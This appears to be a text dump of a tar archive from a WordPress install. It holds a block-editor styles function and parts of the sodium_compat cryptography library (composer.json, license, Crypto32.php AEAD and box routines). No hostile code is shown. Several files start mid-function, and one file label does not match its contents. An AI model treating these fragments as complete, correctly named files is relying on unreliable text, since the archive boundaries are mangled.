*/ function get_block_editor_theme_styles() { global $editor_styles; $styles = array(); if ( $editor_styles && current_theme_supports( 'editor-styles' ) ) { foreach ( $editor_styles as $style ) { if ( preg_match( '~^(https?:)?//~', $style ) ) { $response = wp_remote_get( $style ); if ( ! is_wp_error( $response ) ) { $styles[] = array( 'css' => wp_remote_retrieve_body( $response ), '__unstableType' => 'theme', 'isGlobalStyles' => false, ); } } else { $file = get_theme_file_path( $style ); if ( is_file( $file ) ) { $styles[] = array( 'css' => file_get_contents( $file ), 'baseURL' => get_theme_file_uri( $style ), '__unstableType' => 'theme', 'isGlobalStyles' => false, ); } } } } return $styles; } sodium_compat/namespaced/Core/SipHash.php000064400000000142147177035010014451 0ustar00= 50300) { // Namespaces didn't exist before 5.3.0, so don't even try to use this // unless PHP >= 5.3.0 require_once dirname(__FILE__) . '/lib/namespaced.php'; require_once dirname(__FILE__) . '/lib/sodium_compat.php'; } else { require_once dirname(__FILE__) . '/src/PHP52/SplFixedArray.php'; } if (PHP_VERSION_ID < 70200 || !extension_loaded('sodium')) { if (PHP_VERSION_ID >= 50300 && !defined('SODIUM_CRYPTO_SCALARMULT_BYTES')) { require_once dirname(__FILE__) . '/lib/php72compat_const.php'; } if (PHP_VERSION_ID >= 70000) { assert(class_exists('ParagonIE_Sodium_Compat'), 'Possible filesystem/autoloader bug?'); } else { assert(class_exists('ParagonIE_Sodium_Compat')); } require_once(dirname(__FILE__) . '/lib/php72compat.php'); } elseif (!function_exists('sodium_crypto_stream_xchacha20_xor')) { // Older versions of {PHP, ext/sodium} will not define these require_once(dirname(__FILE__) . '/lib/php72compat.php'); } require_once(dirname(__FILE__) . '/lib/ristretto255.php'); sodium_compat/composer.json000064400000003110147177035010012131 0ustar00{ "name": "paragonie/sodium_compat", "description": "Pure PHP implementation of libsodium; uses the PHP extension if it exists", "keywords": [ "PHP", "cryptography", "elliptic curve", "elliptic curve cryptography", "Pure-PHP cryptography", "side-channel resistant", "Curve25519", "X25519", "ECDH", "Elliptic Curve Diffie-Hellman", "Ed25519", "RFC 7748", "RFC 8032", "EdDSA", "Edwards-curve Digital Signature Algorithm", "ChaCha20", "Salsa20", "Xchacha20", "Xsalsa20", "Poly1305", "BLAKE2b", "public-key cryptography", "secret-key cryptography", "AEAD", "Chapoly", "Salpoly", "ChaCha20-Poly1305", "XSalsa20-Poly1305", "XChaCha20-Poly1305", "encryption", "authentication", "libsodium" ], "license": "ISC", "authors": [ { "name": "Paragon Initiative Enterprises", "email": "security@paragonie.com" }, { "name": "Frank Denis", "email": "jedisct1@pureftpd.org" } ], "autoload": { "files": ["autoload.php"] }, "require": { "php": "^5.2.4|^5.3|^5.4|^5.5|^5.6|^7|^8", "paragonie/random_compat": ">=1" }, "require-dev": { "phpunit/phpunit": "^3|^4|^5|^6|^7|^8|^9" }, "scripts": { "test": "phpunit" }, "suggest": { "ext-libsodium": "PHP < 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security.", "ext-sodium": "PHP >= 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security." } } sodium_compat/LICENSE000064400000001534147177035010010424 0ustar00ISC License Copyright (c) 2016-2021, Paragon Initiative Enterprises Copyright (c) 2013-2019, Frank Denis Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. sodium_compat/src/Crypto32.php000064400000153517147177035010012355 0ustar00update($ad); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); $state->update($ad); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES; /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream( 32, $nonce, $key ); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core32_Util::substr( $message, $len - self::aead_chacha20poly1305_IETF_ABYTES, self::aead_chacha20poly1305_IETF_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core32_Util::substr( $message, 0, $len - self::aead_chacha20poly1305_IETF_ABYTES ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf))); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey); } /** * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $key * @return string * @throws TypeError */ public static function auth($message, $key) { return ParagonIE_Sodium_Core32_Util::substr( hash_hmac('sha512', $message, $key, true), 0, 32 ); } /** * HMAC-SHA-512-256 validation. Constant-time via hash_equals(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function auth_verify($mac, $message, $key) { return ParagonIE_Sodium_Core32_Util::hashEquals( $mac, self::auth($message, $key) ); } /** * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box($plaintext, $nonce, $keypair) { return self::secretbox( $plaintext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal($message, $publicKey) { /** @var string $ephemeralKeypair */ $ephemeralKeypair = self::box_keypair(); /** @var string $ephemeralSK */ $ephemeralSK = self::box_secretkey($ephemeralKeypair); /** @var string $ephemeralPK */ $ephemeralPK = self::box_publickey($ephemeralKeypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair - The combined keypair used in crypto_box() */ $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey); /** @var string $ciphertext Ciphertext + MAC from crypto_box */ $ciphertext = self::box($message, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($ephemeralKeypair); ParagonIE_Sodium_Compat::memzero($ephemeralSK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $ephemeralKeypair = null; $ephemeralSK = null; $nonce = null; } return $ephemeralPK . $ciphertext; } /** * Opens a message encrypted via box_seal(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal_open($message, $keypair) { /** @var string $ephemeralPK */ $ephemeralPK = ParagonIE_Sodium_Core32_Util::substr($message, 0, 32); /** @var string $ciphertext (ciphertext + MAC) */ $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 32); /** @var string $secretKey */ $secretKey = self::box_secretkey($keypair); /** @var string $publicKey */ $publicKey = self::box_publickey($keypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair */ $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK); /** @var string $m */ $m = self::box_open($ciphertext, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($secretKey); ParagonIE_Sodium_Compat::memzero($ephemeralPK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $secretKey = null; $ephemeralPK = null; $nonce = null; } return $m; } /** * Used by crypto_box() to get the crypto_secretbox() key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sk * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function box_beforenm($sk, $pk) { return ParagonIE_Sodium_Core32_HSalsa20::hsalsa20( str_repeat("\x00", 16), self::scalarmult($sk, $pk) ); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @return string * @throws Exception * @throws SodiumException * @throws TypeError */ public static function box_keypair() { $sKey = random_bytes(32); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ public static function box_seed_keypair($seed) { $sKey = ParagonIE_Sodium_Core32_Util::substr( hash('sha512', $seed, true), 0, 32 ); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * @throws TypeError */ public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey) { return ParagonIE_Sodium_Core32_Util::substr($sKey, 0, 32) . ParagonIE_Sodium_Core32_Util::substr($pKey, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_secretkey($keypair) { if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== 64) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core32_Util::substr($keypair, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_publickey($keypair) { if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core32_Util::substr($keypair, 32, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function box_publickey_from_secretkey($sKey) { if (ParagonIE_Sodium_Core32_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.' ); } return self::scalarmult_base($sKey); } /** * Decrypt a message encrypted with box(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_open($ciphertext, $nonce, $keypair) { return self::secretbox_open( $ciphertext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * Calculate a BLAKE2b hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string|null $key * @param int $outlen * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash($message, $key = '', $outlen = 32) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { /** @var SplFixedArray $k */ $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message); /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outlen); ParagonIE_Sodium_Core32_BLAKE2b::update($ctx, $in, $in->count()); /** @var SplFixedArray $out */ $out = new SplFixedArray($outlen); $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($ctx, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray); } /** * Finalize a BLAKE2b hashing context, returning the hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param int $outlen * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_final($ctx, $outlen = 32) { if (!is_string($ctx)) { throw new TypeError('Context must be a string'); } $out = new SplFixedArray($outlen); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $out */ $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($context, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init($key = '', $outputLength = 32) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @param string $salt * @param string $personal * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init_salt_personal( $key = '', $outputLength = 32, $salt = '', $personal = '' ) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } if (!empty($salt)) { $s = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($salt); } else { $s = null; } if (!empty($salt)) { $p = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($personal); } else { $p = null; } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength, $s, $p); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx); } /** * Update a hashing context for BLAKE2b with $message * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param string $message * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_update($ctx, $message) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message); ParagonIE_Sodium_Core32_BLAKE2b::update($context, $in, $in->count()); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($context); } /** * Libsodium's crypto_kx(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $my_sk * @param string $their_pk * @param string $client_pk * @param string $server_pk * @return string * @throws SodiumException * @throws TypeError */ public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk) { return self::generichash( self::scalarmult($my_sk, $their_pk) . $client_pk . $server_pk ); } /** * ECDH over Curve25519 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult($sKey, $pKey) { $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey); self::scalarmult_throw_if_zero($q); return $q; } /** * ECDH over Curve25519, using the basepoint. * Used to get a secret key from a public key. * * @param string $secret * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult_base($secret) { $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10_base($secret); self::scalarmult_throw_if_zero($q); return $q; } /** * This throws an Error if a zero public key was passed to the function. * * @param string $q * @return void * @throws SodiumException * @throws TypeError */ protected static function scalarmult_throw_if_zero($q) { $d = 0; for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) { $d |= ParagonIE_Sodium_Core32_Util::chrToInt($q[$i]); } /* branch-free variant of === 0 */ if (-(1 & (($d - 1) >> 8))) { throw new SodiumException('Zero public key is not allowed'); } } /** * XSalsa20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor( $block0, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $block0, self::secretbox_xsalsa20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core32_Util::substr( $plaintext, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), 1, $subkey ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, 0, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core32_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core32_Util::xorStrings( ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES), ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core32_Util::substr( $c, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), 1, (string) $subkey ); } return $m; } /** * XChaCha20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $block0, $nonceLast, $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $block0, self::secretbox_xchacha20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( ParagonIE_Sodium_Core32_Util::substr( $plaintext, self::secretbox_xchacha20poly1305_ZEROBYTES ), $nonceLast, $subkey, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox_xchacha20poly1305(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, 0, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core32_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HChaCha20::hchacha20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core32_Util::xorStrings( ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES), ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to 